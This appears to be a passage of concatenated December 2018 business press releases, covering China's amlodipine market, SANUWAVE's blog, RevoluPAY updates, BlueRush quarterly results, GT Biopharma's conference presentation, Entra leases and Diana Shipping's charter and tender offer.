lifestyle and the aging of the population. It is estimated that at the end of 2017, there were about 330 million hypertensive patients in China, i.e., one in every three Chinese adults has high blood pressure. With the increasing number of hypertensive patients, the market size of antihypertensive drugs is also growing. Amlodipine is a third-generation calcium antagonist used to treat chronic stable angina and hypertension. It can reduce the risk of hospitalization for angina and the risk of coronary reacquainting. The brand-name Amlodipine is Pfizer's Norvasc. In 1989, Amlodipine tablets were launched in the U.K. under the trade name Istin, and Amlodipine capsules were launched in Belgium under the trade name Amlor. In 1992, Norvasc was approved by the FDA as a new molecular entity (NME). According to the report, after Amlodipine entered China, the market size of Amlodipine kept rising until 2013. From 2013 to 2017, however, the sales revenue declined because of the fall in average price and the competition from other antihypertensive drugs. Apart from Pfizer's Norvasc, generic drugs by Chinese companies have been marketed successively. The CFDA has issued dozens of Amlodipine production approvals, which means that there are dozens of Amlodipine manufacturers on the market. But the market is still dominated by Pfizer's brand-name drug. In 2017, the market size of Amlodipine in China was about CNY 730 million. By sales value, the market share of Pfizer exceeded 80%. The other major market players were Yangtze River Pharmaceutical Group Shanghai Haini Pharmaceutical Co., Ltd., China Resources Saike Pharmaceutical Co., Ltd., Kunming Sinoway Natural Pharmaceuticals, and Suzhou Dawnrays Pharmaceutical Co., Ltd. It is expected that as the incidence of hypertension continues to increase, China's Amlodipine market will still have some growth potential in the next few years. Topics Covered Situation of hypertension in China Sales of Amlodipine in China Competition on China's Amlodipine market Prices of Amlodipine in China from 2017 to 2018 Factors influencing the development of China's Amlodipine market Prospect of China's Amlodipine market Companies Profiled China Resources Saike Pharmaceutical Co., Ltd. (Yashida) Kunming Sinoway Natural Pharmaceuticals Pfizer Shanghai Haini Pharmaceutical Co., Ltd. Suzhou Dawnrays Pharmaceutical Co., Ltd. Yangtze River Pharmaceutical Group For more information about this report visit https://www.researchandmarkets.com/research/gc4s3j/the_chinese?w=12 Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research. SUWANEE, GA, Dec. 20, 2018 (GLOBE NEWSWIRE) -- via NEWMEDIAWIRE -- SANUWAVE Health, Inc. (OTCQB: SNWV) an emerging medical technology company focused on the development and commercialization of noninvasive, biological response activating devices in regenerative medicine, announces another installment of its blog, SHOCK THIS on its website www.sanuwave.com. The blog installments continue to be authored by SANUWAVE's Chief Science and Technology Officer, Dr. Iulian Cioanta, and this most recent one is titled "After Six Months with SANUWAVE Health, Inc., Shri Parikh, the President of Healthcare Division, Offers His Personal Perspective on the Business and His New Role with SANUWAVE". In 2018, our focus with the blog continues to be on opinions expressed in interviews with pioneers and influential personalities whove added significant contributions towards advancing wound care and the use of shockwave technology. Therefore, in this new blog, SANUWAVE presents an interview with Shri Parikh, who joined SANUWAVE six months ago, as the President of Healthcare Division. The interview emphasizes Shris personality, background, ideas, and his vision on the commercialization of dermaPACE System for diabetic foot ulcers (DFUs), in capitalizing on existing shockwave systems offered by the company and in the same time advancing SANUWAVEs shockwave technology into new medical verticals. The goal of the blog is to allow a medium to help educate customers, patients, partners, and the public about the various initiatives under way at SANUWAVE. The blog will also accept posts and comments (approved by SANUWAVE), which the Company views as valuable to the SANUWAVE community. This is expected to be a constructive forum for users from around the globe. By having a central location, SHOCK THIS, the Company can centralize information that will be useful and entertaining to the SANUWAVE community. Members of the SANUWAVE community are encouraged to interact and reach out with thoughts and ideas, which will positively impact the SANUWAVE community. SANUWAVE Health, Inc. reserves the right to edit or exclude comments it deems not positively impacting the experience or is not appropriate from legal and regulatory perspectives. About SANUWAVE Health, Inc. SANUWAVE Health, Inc. (www.sanuwave.com) is a shock wave technology company initially focused on the development and commercialization of patented noninvasive, biological response activating devices for the repair and regeneration of skin, musculoskeletal tissue, and vascular structures. SANUWAVEs portfolio of regenerative medicine products and product candidates activate biologic signaling and angiogenic responses, producing new vascularization and microcirculatory improvement, which helps restore the bodys normal healing processes and regeneration. SANUWAVE applies its patented PACE technology in wound healing, orthopedic/spine, plastic/cosmetic and cardiac conditions. Its lead product candidate for the global wound care market, dermaPACE, is CE Marked throughout Europe and has device license approval for the treatment of the skin and subcutaneous soft tissue in Canada, Australia and New Zealand. In the U.S., dermaPACE, is currently under the FDAs Premarket Approval (PMA) review process for the treatment of diabetic foot ulcers. SANUWAVE researches, designs, manufactures, markets and services its products worldwide, and believes it has demonstrated that its technology is safe and effective in stimulating healing in chronic conditions of the foot (plantar fasciitis) and the elbow (lateral epicondylitis) through its U.S. Class III PMA approved OssaTron device, as well as stimulating bone and chronic tendonitis regeneration in the musculoskeletal environment through the utilization of its OssaTron, Evotron and orthoPACE devices in Europe, Asia and Asia/Pacific. In addition, there are license/partnership opportunities for SANUWAVEs shock wave technology for non-medical uses, including energy, water, food and industrial markets. Forward-Looking Statements This press release may contain forward-looking statements within the meaning of the Private Securities Litigation Reform Act of 1995, such as statements relating to financial results and plans for future business development activities and are thus prospective. Forward-looking statements include all statements that are not statements of historical fact regarding intent, belief or current expectations of the Company, its directors or its officers. Investors are cautioned that any such forward-looking statements are not guarantees of future performance and involve risks and uncertainties, many of which are beyond the Companys ability to control. Actual results may differ materially from those projected in the forward-looking statements. Among the key risks, assumptions and factors that may affect operating results, performance and financial condition are risks associated with the regulatory approval and marketing of the Companys product candidates and products, unproven pre-clinical and clinical development activities, regulatory oversight, the Companys ability to manage its capital resource issues, competition, and the other factors discussed in detail in the Companys periodic filings with the Securities and Exchange Commission. The Company undertakes no obligation to update any forward-looking statement. For additional information about the Company, visit www.sanuwave.com. The company wishes to provide an end of year recap of current and, forthcoming events, related to its ongoing activities, subsidiary divisions and, upcoming strategies. We would also like to take this opportunity to wish all shareholders a Merry Christmas and, a Happy and Prosperous 2019. RevoluPAY processes first 25,000 USD (app. 33.7k $CA) of VCC Cards in a single day. RevoluPAY to receive 3% net on Expedia and Booking Holding VCC Card Processing. Top 40 World Bank Executive makes personal visit from North America to RevoluPAY Headquarters in Barcelona. RevoluPAY completes Software Update to meet stringent Two - Factor ID Authentication required for Central Bank License . - CUV CEO meets with 5 separate major retail consortiums for RevoluPAY app payment acceptance across: Uruguay, Colombia, Guatemala, El Salvador and, Mexico. Major Restaurant Chain, Present in 11 countries, Expresses Interest in Accepting RevoluPAY CUV CEO and NUKONDO CEO, Jorge Brugo, met to finalize details of RevoluPAY real estate payment DA. IT Team conclude incorporation of major GDS, Amadeus, into upcoming RevoluVIP Travel Platform. RevoluVIP to begin allowing pre-launch sign up of first numbered Travel Club memberships. VANCOUVER, British Columbia, Dec. 20, 2018 (GLOBE NEWSWIRE) -- CUV Ventures Corp. (TSX-V: CUV) (the Company) Vancouver, BC (the Company) is pleased to announce that the wholly owned subsidiary, RevoluPAY S.L. began processing a small first batch trial of Expedia and Booking Holdings VCC cards on Tuesday 18th December, totaling 25,000 USD (33.7k $CA), with a single first day unaudited processing revenue of 3% or, 750 USD (approx. 1011 $CA). The company is pleased with the initial uptake of this new RevoluPAY revenue stream and, expects daily volumes to increase exponentially, once the VCC clearance mechanism is deployed to B&B and small hotel owners worldwide. Top 40 World Bank Executive Visits RevoluPAY Headquarters On the 17th December 2018, Alfredo Manresa, CEO of the wholly owned subsidiary RevoluPAY S.L and, other key management at the Barcelona headquarters of the subsidiary, had the immense honor to receive a personal visit from an executive of the Top 40 World Bank, with which the company is currently concluding negotiations for the eventual bilateral deployment for cash collection (disbursements) of RevoluPAY remittances in 16 South/Central American and, Caribbean countries. The all-day meeting concluded favorably with, many upcoming technical and contractual milestones discussed. The parties also conferred further synergies for the upcoming RevolUTILITY platform, in which the bank expressed keen interest for additional possible collaborations. Central Bank Two-Factor Authentication The company is pleased to announce that it has successfully complied with the RevoluPAY security enhancements imposed by the Central Bank, with whom the RevoluPAY License is currently pending its 90-day statutory approval period. Central Bank requisites include two-factor authentication to secure digital bank accounts. Depending on the mobile device used, this could include: Fingerprint, biometrics, passwords, received SMS codes or, a combination of all 4, in order to secure a users RevoluPAY app account. These latest enhancements of RevoluPAY render the app Central Bank compliant and, will be rolled out next week, in a future app upgrade on Apple iOS and Android. RevoluPAY Retail Integration CEO, Steve Marshall, has carried out 5 separate meetings with executives of large national retailers located in: Uruguay, Guatemala, El Salvador Colombia and, Mexico. As shareholders have been advised, it is the intent of the company that RevoluPAY app users benefit from a multi-use scenario when using the app. On one hand, simple remittance cash collection for a minimal fee and, on the other hand, the ability to be able to transact directly using RevoluPAY in select retail stores, supermarkets and, businesses, with no fee, essentially 1:1 currency wallet balance value in collaborating retail stores. Retailers will be allowed to permit direct payment with RevoluPAY, with B2B processing fees that are lower than those offered currently by other payment systems or, Visa/Mastercard fees, in their respective countries. Major Restaurant Chain Expresses Interest in Accepting RevoluPAY Subsequent to numerous meetings, company Advisor, Emilio Morales, is currently negotiating with a major international restaurant chain, with +800 restaurants in 11 countries and 280 cities in Europe and, the Americas. (Spain, Italy, Portugal, United States, Mexico, Guatemala, Costa Rica, Dominican Republic, Paraguay, Chile, and Colombia) for the usage and, eventual payment, using RevoluPAY in all international restaurant establishments of the group. The parties are discussing an initial Letter of Intent (LOI), which would include a pilot trial in Florida, USA. Shareholders will be informed as to whether the said negotiations conclude as planned. Amadeus Successfully Incorporated into RevoluVIP The company is elated to announce that Amadeus, the largest GDS linked to the upcoming RevoluVIP platform, has been successfully incorporated into the XML powered, discount focused travel platform, currently being rolled-out in conjunction with Constellation Software Inc. subsidiary Juniper. The worldwide wholesale offers from Amadeus are considered a major component of trip offers on travel retail platforms. RevoluVIP Pre-Memberships to Commence RevoluVIP International Inc., the Vancouver domiciled, wholly owned subsidiary of CUV Ventures Corp, is pleased to announce that it will begin selling pre-launch, numbered memberships to the RevoluVIP Club as early as next week. RevoluVIP has received many requests from future members, desirous to be amongst the first numbered membership holders of the Club. Further, the company will allow the initial members to participate in the live trials of the system, set to commence this month. RevoluVIP Presentation About CUV Ventures Corp.: CUV Ventures Corp. is a multi-asset, multidivisional publicly traded Canadian company deploying advanced technologies in the; Online Travel, Vacation Resort, Mobile Apps, Money Remittance, Mobile phone top-ups, Invoice factoring, Blockchain Systems, and Fintech app sectors. Our flagship technology is RevoluPAY, the Apple and Android multinational leisure payments and remittance app, powered by blockchain protocols, and aimed at the worldwide + $595 billion family remittance market. Click here to read more. For further information on CUV Ventures Corp. (TSX-V: CUV) visit the Companys website at www.cuvventures.com. The Company has approximately 125,490,000 shares issued and outstanding. CUV VENTURES CORP. STEVE MARSHALL ______________________________ Steve Marshall CEO For further information contact myself or: Nick Findler CUV Ventures Corp. Telephone: 604-639-3850 Toll Free: 800-567-8181 Facsimile: 604-687-3119 Email: info@cuvventures.com NEITHER THE TSX VENTURE EXCHANGE NOR ITS REGULATION SERVICES PROVIDER (AS THAT TERM IS DEFINED IN POLICIES OF THE TSX VENTURE EXCHANGE) ACCEPTS RESPONSIBILITY FOR THE ADEQUACY OR ACCURACY OF THIS RELEASE. This release includes certain statements that may be deemed to be "forward-looking statements". All statements in this release, other than statements of historical facts, that address events or developments that management of the Company expects, are forward-looking statements. Although management believes the expectations expressed in such forward-looking statements are based on reasonable assumptions, such statements are not guarantees of future performance, and actual results or developments may differ materially from those in the forward-looking statements. The Company undertakes no obligation to update these forward-looking statements if management's beliefs, estimates or opinions, or other factors, should change. Factors that could cause actual results to differ materially from those in forward-looking statements, include market prices, exploration and development successes, continued availability of capital and financing, and general economic, market or business conditions. Please see the public filings of the Company at www.sedar.com for further information. Email: info@cuvventures.com Telephone: (604) 687-3376 Facsimile: (604) 687-3119 TORONTO, Dec. 20, 2018 (GLOBE NEWSWIRE) -- BlueRush Inc. (BlueRush or the Company) (TSX-V: BTV), an emerging Software as a Service (SaaS) company providing personalized customer engagement solutions for leading financial services companies, today announced its financial results for the three-month period ended October 31, 2018 (Q1 2019). The improving financial results from our SaaS-based business segment demonstrates the positive momentum we are achieving through this transition and the strong value creation potential this model has for BlueRush going forward, said Steve Taylor, CEO of BlueRush. The recent investments we made to enhance our IndiVideo and DigitalReach platforms has further strengthened our competitive position and enhanced our margins. We anticipate continued growth throughout the fiscal year as we generate more follow-on business with customers and partners. Q1 2019 Highlights SaaS revenue increased 17% to $273,277, compared to $234,118 for the three-month period ended October 31, 2017 (Q1 2018), reflecting the Companys continued progress in transitioning to a recurring-revenue, SaaS based business model; SaaS gross profit increased 29% to $183,133, compared to $142,495 in Q1 2018; Gross margins in the SaaS business increased from 61% in Q1 2018 to 67% in Q1 2019; Services revenue grew 26% to $592,942, compared to $470,266 in Q1 2018; Successful integration of DigitalReach with IndiVideo and the Microsoft Power BI analytics platform to enhance data-driven customer insights; Completed a $2 million, non-brokered private placement of convertible debentures, with support from new and existing investors; and Dave Badun CPA, CA, commenced role as new Chief Financial Officer. Growth in the SaaS business BlueRush generated 17% revenue growth and increasing momentum in its SaaS segment in Q1 2019, the recurring revenue component of its business, which has been a key focus for the Company. As a result of ongoing SaaS sales efforts, BlueRush had deferred revenue of $303,931 at the end of Q1 2019, compared to $Nil at the end of Q1 2018. This deferred revenue will be recognized over the coming quarters. IndiVideo and DigitalReach are driving higher gross margins The improvement in SaaS gross margins from 61%, or $142,495, in Q1 2018 to 67%, or $183,133, in Q1 2019, is a direct result of the Companys research and development (R&D) investments, which resulted in a number of product enhancements including shorter production turnaround times, along with an important shift to the Microsoft Azure platform during fiscal 2018. IndiVideo and DigitalReach are now deployed on a cost-efficient and multi-tenant environment. Growth in the services business BlueRushs services business segment generated 26% revenue growth in the quarter and the amount of deferred revenue at the end of the period increased to $842,100, up from $151,470 at the end of Q1 2018. This growth in services is both an extension of well-executed past projects, along with the compelling results obtained from the SaaS business unit. This deferred revenue will be recognized over the coming quarters. BlueRush customer successes BlueRush advanced the development of enhanced features for IndiVideo to further increase its marketability to major financial institutions worldwide. Recent customer successes include: The design, development and implementation of a Mortgage Affordability IndiVideo for use by one of Canadas top five banks, supported a greater than 40% increase in conversion (i.e. potential customers clicking to be pre-approved for a mortgage), resulting in BlueRush quoting and winning several additional opportunities with this major customer. The creation and distribution of monthly IndiVideos to more than two million customers of a major pension fund in South America, which supported a 67% increase in customer actions, defined as voluntary account openings and/or increased contributions amongst customers who viewed the personalized videos. BlueRush integrates DigitalReach with IndiVideo and Microsoft Power BI Integration with the Microsoft analytics platform was implemented to help BlueRush deliver a new source of customer insights and further enhance the stickiness of its SaaS contracts. Enhanced feature benefits include: BlueRush integrated its two SaaS platforms, enabling DigitalReach to host and serve IndiVideo content and track associated consumption data as a complement to its library of traditional video and text content. BlueRush added data analysis through integration with the Microsoft Power BI platform. Power BI is a business analytics service that provides a user-friendly output for DigitalReach data. This integration enables critical data analysis functionality to enhance the Companys proposition as a customer understanding tool. The Company clarifies its compensation to an arm's length consultant, previously announced on November 19, 2018. The consultant has been issued 280,000 stock options at $0.105 per share expiring after 24 months and vesting quarterly over a 12-month period for services over the next 24 months. In addition, BlueRush and the consultant have agreed to complete a warrant for debt transaction, pursuant to which it will issue the consultant 320,000 common share purchase warrants in satisfaction of $35,000 for services since October 2017. Each warrant shall entitle the consultant to acquire one common share of the Company at a price of $0.105 per share for 24 months. The warrants will be issued upon acceptance by the TSX Venture Exchange. BlueRushs interim unaudited consolidated financial statements and accompanying Management's Discussion & Analysis for the three-month period ended October 31, 2018 have been filed on SEDAR and are available at www.sedar.com and the Companys website at www.bluerush.com . About BlueRush BlueRush offers Software as a Service (SaaS) based content engagement platforms that enable organizations to achieve greater engagement and conversion metrics with existing customers and new prospects. BlueRush has a particular focus on the financial services industry in areas such as mortgage, loan and credit card origination, as well as supporting pension fund and insurance use cases. BlueRush develops and markets IndiVideo, a disruptive interactive personalized video platform that drives return on investment (ROI) through customer interactions, from increased conversions to more engaging statements and customer care. IndiVideo enables BlueRush clients to capture knowledge and data from their customers video interaction, creating new and compelling data driven customer insights. IndiVideo can also be integrated with DigitalReach, BlueRushs SaaS-based content engagement platform, that delivers improved sales conversion metrics for more than 75,000 financial advisors at leading financial institutions. The combination of IndiVideo and DigitalReach is unique in the marketplace and provides BlueRush with a strong value proposition. For more information, please visit www.bluerush.com . More information on the BlueRush SaaS products can be viewed for DigitalReach at www.digitalreach.ca and for IndiVideo at www.individeo.com . For further information please contact: Steve Taylor, CEO Dave Badun, CFO Tel: 416-457-9391 Tel: 416-624-8382 steve.taylor@bluerush.com dave.badun@bluerush.com Forward-Looking Statements Certain statements contained in this press release constitute "forward-looking information" as such term is defined in applicable Canadian securities legislation. The words "may", "would", "could", "should", "potential", "will", "seek", "intend", "plan", "anticipate", "believe", "estimate", "expect" and similar expressions as they relate to the Company, including the Company anticipating continued growth throughout the fiscal year; deferred revenue being recognized over the coming quarters; and the closing of the warrant for debt transaction; are intended to identify forward-looking information. All statements other than statements of historical fact may be forward-looking information. Such statements reflect the Company's current views and intentions with respect to future events, and current information available to the Company, and are subject to certain risks, uncertainties and assumptions. Material factors or assumptions were applied in providing forward-looking information, including: approval of the TSX Venture Exchange of the warrants for debt transaction; personalized video being further adopted by companies and the Company increasing sales for its SaaS based products. Many factors could cause the actual results, performance or achievements that may be expressed or implied by such forward looking information to vary from those described herein should one or more of these risks or uncertainties materialize. These factors include, without limitation: the TSX Venture Exchange not approving the warrants for debt transaction; changes in law; the ability to implement business strategies and pursue business opportunities; state of the capital markets; the availability of funds and resources to pursue operations; a novel business model; dependence on key suppliers and local partners; competition; the outcome and cost of any litigation; as well as general economic, market and business conditions, as well as those risk factors discussed or referred to in disclosure documents filed by the Company with the securities regulatory authorities in certain provinces of Canada and available at www.sedar.com. Should any factor affect the Company in an unexpected manner, or should assumptions underlying the forward-looking information prove incorrect, the actual results or events may differ materially from the results or events predicted. Any such forward-looking information is expressly qualified in its entirety by this cautionary statement. Moreover, the Company does not assume responsibility for the accuracy or completeness of such forward-looking information. The forward -looking information included in this press release is made as of the date of this press release and the Company undertakes no obligation to publicly update or revise any forward-looking information, other than as required by applicable law. The Companys results and forward-looking information and calculations may be affected by fluctuations in exchange rates. Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. Presentation with live audio webcast, Tuesday, January 8, 2019 at 11:30 AM PST LOS ANGELES, Dec. 20, 2018 (GLOBE NEWSWIRE) -- GT Biopharma, Inc. (OTCQB: GTBP and Euronext Paris GTBP.PA) ("GT Biopharma" or the "Company"), an immuno-oncology biotechnology company focused on innovative treatments based on the Company's proprietary NK-engager and Bispecific Antibody Drug Conjugate platforms, today announced that Raymond W Urbanski, M.D., Ph.D., Chief Executive Officer and Chairman, will present at Biotech Showcase 2019 on Tuesday, January 8, 2019 at 11:30 AM PST in San Francisco, CA. As part of his presentation, Dr. Urbanski will provide a corporate update and discuss GT Biopharmas pipeline of immuno-oncology products based off the Companys proprietary Tri-specific Killer Engager (TriKE), Tetra-specific Killer Engager (TetraKE) and bi-specific Antibody Drug Conjugate (ADC) technology platforms. The Companys most advanced bi-specific ADC in development, GTB-1550, targets CD19+ and/or CD22+ hematological malignancies and is currently in the Phase 2 component of a Phase 1/2 Non-Hodgkins Lymphoma (NHL)/Acute Lymphocytic Leukemia (ALL) trial which is an open-label, investigator-led study. GT Biopharma expects to announce topline results from the Phase 2a trial of GTB-1550 in the first quarter of 2019. Additionally, the Company recently announced its Investigational New Drug (IND) application to the U.S. Food and Drug Administration (FDA) is now open and it is authorized to initiate a first-in-human Phase 1 study with GTB-3550 (formerly OXS-3550), its first-in-class (TriKE), for the treatment of acute myelogenous leukemia (AML), myelodysplatic syndrome (MDS) and mastocytosis. The study, which is expected to commence in the first half of 2019, will be led by Principal Investigator, Sarah A. Cooley, MD, MS, Associate Professor, Division of Hematology, Oncology and Transplantation at Masonic Cancer Center, University of Minnesota. The Company believes that GTB-3550 could serve as a relatively safe, cost-effective, and easy-to-use therapy for refractory/relapsed AML, high-risk MDS and advanced systemic mastocytosis and could also be combined with chemotherapy and/or other agents as frontline therapy thus targeting a much larger patient population. In addition to the presentation, Dr. Urbanski will also be available to participate in one-on-one meetings with qualified members of the investor community who are registered to attend the conference. For more information about the conference, please click here to visit the conference website. A live audio webcast of the presentation will be available on the Events page of the Investors section of the Companys website (www.gtbiopharma.com). A webcast replay will be accessible for 90 days following the live presentation. About GT Biopharma, Inc. GT Biopharma, Inc. is a clinical stage biopharmaceutical company focused on the development and commercialization of immuno-oncology products based off our proprietary Tri-specific Killer Engager (TriKE), Tetra-specific Killer Engager (TetraKE) and bi-specific Antibody Drug Conjugate (ADC) technology platforms. Our TriKE and TetraKE platforms generate proprietary moieties designed to harness and enhance the cancer killing abilities of a patient's own natural killer, or NK, cells. Once bound to a NK cell, our moieties are designed to enhance the NK cell and precisely direct it to one or more specifically-targeted proteins (tumor antigens) expressed on a specific type of cancer, ultimately resulting in the cancer cell's death. TriKEs and TetraKEs are made up of recombinant fusion proteins, can be designed to target certain tumor antigens on hematologic malignancies, sarcomas or solid tumors and do not require patient-specific customization. They are designed to be dosed in a common outpatient setting similar to modern antibody therapeutics and are expected to have reasonably low cost of goods. Our ADC platform can generate product candidates that are bi-specific, ligand-directed single-chain fusion proteins that, we believe, represent the next generation of ADCs. For more information, please visit www.gtbiopharma.com . Forward-Looking Statements This press release contains certain forward-looking statements that involve risks, uncertainties and assumptions that are difficult to predict, including statements regarding our clinical focus and our current and proposed trials. Words and expressions reflecting optimism, satisfaction or disappointment with current prospects, as well as words such as believes, hopes, intends, estimates, expects, projects, plans, anticipates and variations thereof, or the use of future tense, identify forward-looking statements, but their absence does not mean that a statement is not forward-looking. Our forward-looking statements are not guarantees of performance and actual results could differ materially from those contained in or expressed by such statements. In evaluating all such statements, we urge you to specifically consider the various risk factors identified in our Form 10-K for the fiscal year ended December 31, 2017 in the section titled Risk Factors in Part I, Item 1A and in our subsequent filings with the Securities and Exchange Commission, any of which could cause actual results to differ materially from those indicated by our forward-looking statements. Our forward-looking statements reflect our current views with respect to future events and are based on currently available financial, economic, scientific, and competitive data and information on current business plans. You should not place undue reliance on our forward-looking statements, which are subject to risks and uncertainties relating to, among other things: (i) the sufficiency of our cash position and our ongoing ability to raise additional capital to fund our operations, (ii) our ability to complete our Phase 1 study of TriKe, GTB-3550 and or our Phase 2 trial of CTB-1550 and to meet the FDAs requirements with respect to safety and efficacy, (iii) our ability to identify patients to enroll in our clinical trials in a timely fashion, (iv) our ability to achieve approval of a marketable product, (v) design, implementation and conduct of clinical trials, (vii) the results of our clinical trials, including the possibility of unfavorable clinical trial results, (vii) the market for, and marketability of, any product that is approved, (viii) the existence or development of treatments that are viewed by medical professionals or patients as superior to our products, (ix) regulatory initiatives, compliance with governmental regulations and the regulatory approval process, and social conditions, and (x) various other matters, many of which are beyond our control. Should one or more of these risks or uncertainties develop, or should underlying assumptions prove to be incorrect, actual results may vary materially and adversely from those anticipated, believed, estimated, or otherwise indicated by our forward-looking statements. We intend that all forward-looking statements made in this press release will be subject to the safe harbor protection of the federal securities laws pursuant to Section 27A of the Securities Act, to the extent applicable. Except as required by law, we do not undertake any responsibility to update these forward-looking statements to take into account events or circumstances that occur after the date of this press release. Additionally, we do not undertake any responsibility to update you on the occurrence of any unanticipated events which may cause actual results to differ from those expressed or implied by these forward-looking statements. Investor Contact: Jenene Thomas Jenene Thomas Communications, LLC Phone: +1 (833) 475-8247 Email: gtbp@jtcir.com Source: GT Biopharma, Inc. Spaces has signed a new lease contract for 4,300 sqm in Kristian Augusts gate 13 in Oslo. The lease contract has a duration of 10 years starting from August 2019. Entra has also signed a new lease contract with a public tenant for 3,780 sqm in Langkaia 1 in Oslo. The lease contract has a duration of 12 years starting from March 2019. Amedia has renewed its lease contract for 6,200 sqm in Akersgata 34-35 in Oslo. The lease contract has a duration of 5 years starting from October 2019. Finally, Schibsted has extended and renewed its lease contract for a total of 2,930 sqm in Hagegata 22 in Oslo. The lease contract has a duration of 4 years starting from March 2019. For further queries please contact: CEO Arve Regland, tel: +47 47907700, email: ar@entra.no. ATHENS, Greece, Dec. 20, 2018 (GLOBE NEWSWIRE) -- Diana Shipping Inc. (NYSE: DSX), (the Company), a global shipping company specializing in the ownership of dry bulk vessels, today announced that, through a separate wholly-owned subsidiary, it has entered into a time charter contract with SwissMarine Services S.A., Geneva, for one of its Capesize dry bulk vessels, the m/v Seattle. The gross charter rate is US$16,000 per day, minus a 5% commission paid to third parties, for a period of minimum sixteen (16) months to maximum nineteen (19) months. The charter is expected to commence on December 25, 2018. The Seattle is a 179,362 dwt Capesize dry bulk vessel built in 2011. This employment is anticipated to generate approximately US$7.68 million of gross revenue for the minimum scheduled period of the time charter. Diana Shipping Inc.s fleet currently consists of 48 dry bulk vessels (4 Newcastlemax, 14 Capesize, 5 Post-Panamax, 5 Kamsarmax and 20 Panamax). As of today, the combined carrying capacity of the Companys fleet is approximately 5.7 million dwt with a weighted average age of 9.10 years. A table describing the current Diana Shipping Inc. fleet can be found on the Companys website, www.dianashippinginc.com. Information contained on the Companys website does not constitute a part of this press release. About the Company Diana Shipping Inc. is a global provider of shipping transportation services through its ownership of dry bulk vessels. The Companys vessels are employed primarily on medium to long-term time charters and transport a range of dry bulk cargoes, including such commodities as iron ore, coal, grain and other materials along worldwide shipping routes. Cautionary Statement Regarding Forward-Looking Statements Matters discussed in this press release may constitute forward-looking statements. The Private Securities Litigation Reform Act of 1995 provides safe harbor protections for forward-looking statements in order to encourage companies to provide prospective information about their business. Forward-looking statements include statements concerning plans, objectives, goals, strategies, future events or performance, and underlying assumptions and other statements, which are other than statements of historical facts. The Company desires to take advantage of the safe harbor provisions of the Private Securities Litigation Reform Act of 1995 and is including this cautionary statement in connection with this safe harbor legislation. The words believe, anticipate, intends, estimate, forecast, project, plan, potential, may, should, expect, pending and similar expressions identify forward-looking statements. The forward-looking statements in this press release are based upon various assumptions, many of which are based, in turn, upon further assumptions, including without limitation, Company managements examination of historical operating trends, data contained in the Companys records and other data available from third parties. Although the Company believes that these assumptions were reasonable when made, because these assumptions are inherently subject to significant uncertainties and contingencies that are difficult or impossible to predict and are beyond the Companys control, the Company cannot assure you that it will achieve or accomplish these expectations, beliefs or projections. In addition to these important factors, other important factors that, in the Companys view, could cause actual results to differ materially from those discussed in the forward-looking statements include the strength of world economies and currencies, general market conditions, including fluctuations in charter rates and vessel values, changes in demand for dry bulk shipping capacity, changes in the Companys operating expenses, including bunker prices, drydocking and insurance costs, the market for the Companys vessels, availability of financing and refinancing, changes in governmental rules and regulations or actions taken by regulatory authorities, potential liability from pending or future litigation, general domestic and international political conditions, potential disruption of shipping routes due to accidents or political events, vessel breakdowns and instances of off-hires and other factors. Please see the Companys filings with the U.S. Securities and Exchange Commission for a more complete discussion of these and other risks and uncertainties. The Company undertakes no obligation to revise or update any forward-looking statement, or to make any other forward-looking statements, whether as a result of new information, future events or otherwise. ATHENS, Greece, Dec. 20, 2018 (GLOBE NEWSWIRE) -- Diana Shipping Inc. (NYSE: DSX) (the Company), a global shipping company specializing in the ownership of dry bulk vessels, today announced that in light of the closure of the U.S. financial markets on the national day of mourning observed on December 5, 2018 for President George H.W. Bush, the Company has extended its previously announced cash tender offer to purchase shares of its common stock until the end of the day, 5:00 P.M., Eastern Time, on December 21, 2018, to allow additional time for stockholders to tender their shares. Except as set forth herein, the terms and conditions of the Offer (as defined below) remain the same. On November 21, 2018, the Company announced the commencement of a tender offer to purchase up to 4,166,666 shares, or about 3.86%, of its outstanding common stock using funds available from cash and cash equivalents at a price of $3.60 per share (the Offer). As of December 20, 2018, approximately 3,257,805 shares had been tendered in the Offer. Stockholders who have previously validly tendered and not withdrawn their shares do not need to re-tender their shares or take any other action in response to the extension of the Offer. The terms and conditions of the Offer, prior to the amendment described in this release, were set forth in the Companys Offer to Purchase and Letter of Transmittal, each dated November 21, 2018, and the other related materials that the Company distributed to stockholders, which were filed with the Securities and Exchange Commission (SEC) as exhibits to the Companys Schedule TO on November 21, 2018. Diana Shipping Inc. retained Computershare Trust Company, N.A. as the depositary for the tender offer and Georgeson Inc. as the information agent. Copies of the Offer to Purchase, the related Letter of Transmittal and the Notice of Guaranteed Delivery were mailed to the Companys shareholders. Additional copies of the Offer to Purchase, the related Letter of Transmittal or the Notice of Guaranteed Delivery may be obtained at the Companys expense from the information agent at (800) 248-7690 (toll free). Questions regarding the tender offer should be directed to the information agent at (800) 248-7690 (toll free). About the Company Diana Shipping Inc. is a global provider of shipping transportation services through its ownership of dry bulk vessels. The Companys vessels are employed primarily on medium to long-term time charters and transport a range of dry bulk cargoes, including such commodities as iron ore, coal, grain and other materials along worldwide shipping routes. Certain Information Regarding the Tender Offer The information in this press release describing Diana Shipping Inc.s tender offer is for informational purposes only and does not constitute an offer to buy or the solicitation of an offer to sell shares of Diana Shipping Inc.s common stock in the tender offer. The tender offer is being made only pursuant to the Offer to Purchase and the related materials that Diana Shipping Inc. is distributing to its shareholders, as they may be amended or supplemented. Shareholders should read such Offer to Purchase and related materials carefully and in their entirety because they contain important information, including the various terms and conditions of the tender offer. Shareholders of Diana Shipping Inc. may obtain a free copy of the Tender Offer Statement on Schedule TO, the Offer to Purchase and other documents that Diana Shipping Inc. is filing with the Securities and Exchange Commission from the Securities and Exchange Commissions website at www.sec.gov. Shareholders may also obtain a copy of these documents, without charge, from Georgeson Inc., the information agent for the tender offer, toll free at (800) 248-7690. Shareholders are urged to carefully read all of these materials prior to making any decision with respect to the tender offer. Shareholders and investors who have questions or need assistance may call Georgeson Inc., the information agent for the tender offer, toll free at (800) 248-7690. Cautionary Statement Regarding Forward-Looking Statements Matters discussed in this press release may constitute forward-looking statements. The Private Securities Litigation Reform Act of 1995 provides safe harbor protections for forward-looking statements in order to encourage companies to provide prospective information about their business. Forward-looking statements include statements concerning plans, objectives, goals, strategies, future events or performance, and underlying assumptions and other statements, which are other than statements of historical facts. The Company desires to take advantage of the safe harbor provisions of the Private Securities Litigation Reform Act of 1995 and is including this cautionary statement in connection with this safe harbor legislation. The words 